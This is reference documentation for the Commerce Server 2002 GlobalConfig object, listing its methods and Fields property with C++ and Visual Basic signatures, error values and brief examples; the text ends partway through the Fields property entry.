Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

See Also

Integrating Custom Resources

Configuration Objects

[C++] SiteConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfigReadOnly Object


_GlobalConfig Methods [C++]

GlobalConfig Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.


_GlobalConfig::CreateServiceConfig Method [C++]

GlobalConfig.CreateServiceConfig Method [Visual Basic]

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[C++]
HRESULT _GlobalConfig::CreateServiceConfig(
  BSTR bstrServiceName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateServiceConfig(
  bstrServiceName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrServiceName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::DeleteServiceConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.DeleteServiceConfig


_GlobalConfig::CreateSiteConfig Method [C++]

GlobalConfig.CreateSiteConfig Method [Visual Basic]

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig::CreateSiteConfig(
  BSTR bstrSiteName,
  IMSCSSiteConfigAdmin** ppsca
);
[Visual Basic]
Function CreateSiteConfig(
  bstrSiteName As String
) As Object

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the new site name.
bstrSiteName [Visual Basic]
A String that contains the new site name.
ppsca [C++]
[out] The address of a pointer to the SiteConfig object used to return the site configuration settings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a SiteConfig object that contains the site configuration settings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The ppsca parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig object
' oMSCSSiteConfig is a Commerce.SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::DeleteSiteConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] _GlobalConfig::DeleteSiteConfig


_GlobalConfig::DeleteServiceConfig Method [C++]

GlobalConfig.DeleteServiceConfig Method [Visual Basic]

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[C++]
HRESULT _GlobalConfig::DeleteServiceConfig(
  BSTR bstrServiceName
);
[Visual Basic]
Sub DeleteServiceConfig(
  bstrServiceName As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the name of the resource configuration object to be deleted.
bstrServiceName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::CreateServiceConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.CreateServiceConfig


_GlobalConfig::DeleteSiteConfig Method [C++]

GlobalConfig.DeleteSiteConfig Method [Visual Basic]

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig::DeleteSiteConfig(
  BSTR bstrSiteName
);
[Visual Basic]
Sub DeleteSiteConfig(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

See Also

[C++] GlobalConfig Object

[C++] _GlobalConfig::CreateSiteConfig

[Visual Basic] GlobalConfig Object

[Visual Basic] GlobalConfig.CreateSiteConfig


_GlobalConfig::GetIfCollection Method [C++]

GlobalConfig.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[C++]
HRESULT _GlobalConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vVariant = oGlobalConfig.GetIfCollection(vEncodedString)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::GetResourcePropAttrib Method [C++]

GlobalConfig.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _GlobalConfig::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, which is used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::Initialize Method [C++]

GlobalConfig.Initialize Method [Visual Basic]

Use this method to load the global configuration from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::Initialize(
  BSTR bstrGroupName
);
[Visual Basic]
Sub Initialize(
  Optional bstrGroupName As String
)

Parameters

bstrGroupName [C++]
[in, optional] A BSTR that contains the name of the global resource.
bstrGroupName [Visual Basic]
A String that contains the name of the global resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that hosts a Commerce Server 2002 application is no greater than 5.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeArrayFromSimpleList Method [C++]

GlobalConfig.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _GlobalConfig::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT containing the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vMyVariant = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeArrayFromString Method [C++]

GlobalConfig.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _GlobalConfig::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string read from the Fields
' property
' vArray is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vArray = oGlobalConfig.MakeArrayFromString(vEncoded)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeSimpleListFromArray Method [C++]

GlobalConfig.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _GlobalConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the Array to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(vMyArray)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeStringFromArray Method [C++]

GlobalConfig.MakeStringFro MethodmArray [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The vtEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromArray(vArray)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::MakeStringFromSimpleList Method [C++]

GlobalConfig.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a String used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The strEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists, or objects as Fields columns. Therefore, the GlobalConfig object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::SaveConfig Method [C++]

GlobalConfig.SaveConfig Method [Visual Basic]

Use this method to save the global configuration settings to the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::SaveConfig(
);
[Visual Basic]
Sub SaveConfig(
)

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig::Sites Method [C++]

GlobalConfig.Sites Method [Visual Basic]

Use this method to retrieve a list of all the sites available in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig::Sites (
_Recordset** rsRecordSet
);
[Visual Basic]
Function Sites (
) As Object

Parameters

rsRecordSet [C++]

[out, retval] The address of a pointer to a _Recordset object used to return the list of all sites available in the Administration database. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The rsRecordSet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig Object

[Visual Basic] GlobalConfig Object


_GlobalConfig Properties [C++]

GlobalConfig Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.


_GlobalConfig::get_Fields Property [C++]

GlobalConfig.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _GlobalConfig::get_Fields(
  Fields** pFields
);
[Visual Basic]
Property Fields As Object

Parameters

pFields [C++]
[out] The address of a pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

